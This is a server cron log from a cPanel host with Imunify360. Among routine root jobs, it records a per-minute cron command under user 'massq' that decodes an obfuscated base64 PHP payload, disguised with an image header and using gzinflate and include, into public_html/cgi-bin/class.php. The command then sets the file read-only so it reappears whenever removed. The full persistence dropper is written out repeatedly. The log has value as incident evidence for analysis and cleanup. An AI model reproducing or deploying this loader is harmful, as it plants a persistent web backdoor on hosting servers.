Sep  5 19:58:01 server CROND[32652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:58:01 server CROND[32653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:58:01 server CROND[32654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:59:01 server CROND[684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:59:01 server CROND[685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:59:01 server CROND[686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:00:01 server CROND[1154]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 20:00:01 server CROND[1156]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 20:00:01 server CROND[1164]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:00:01 server CROND[1166]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 20:00:01 server CROND[1170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:00:01 server CROND[1172]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:00:01 server CROND[1174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:00:01 server CROND[1167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:00:01 server CROND[1169]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 20:00:01 server CROND[1175]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 20:01:01 server CROND[2119]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 20:01:01 server CROND[2120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:01:01 server CROND[2122]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:01:01 server CROND[2121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:01:01 server run-parts(/etc/cron.hourly)[2119]: starting 0anacron
Sep  5 20:01:01 server run-parts(/etc/cron.hourly)[2140]: finished 0anacron
Sep  5 20:02:01 server CROND[2524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:02:01 server CROND[2525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:02:01 server CROND[2526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:03:01 server CROND[2939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:03:01 server CROND[2940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:03:01 server CROND[2941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:04:01 server CROND[3405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:04:01 server CROND[3404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:04:01 server CROND[3432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:05:01 server CROND[3849]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  5 20:05:01 server CROND[3850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:05:01 server CROND[3851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:05:01 server CROND[3854]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 20:05:01 server CROND[3856]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 20:05:01 server CROND[3855]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 20:05:01 server CROND[3863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:05:01 server CROND[3857]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:05:01 server CROND[3862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:06:01 server CROND[4729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:06:01 server CROND[4730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:06:01 server CROND[4731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:07:01 server CROND[5118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:07:01 server CROND[5119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:07:01 server CROND[5120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:08:01 server CROND[5506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:08:01 server CROND[5507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:08:01 server CROND[5508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:09:01 server CROND[5990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:09:01 server CROND[5991]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 20:09:01 server CROND[5992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
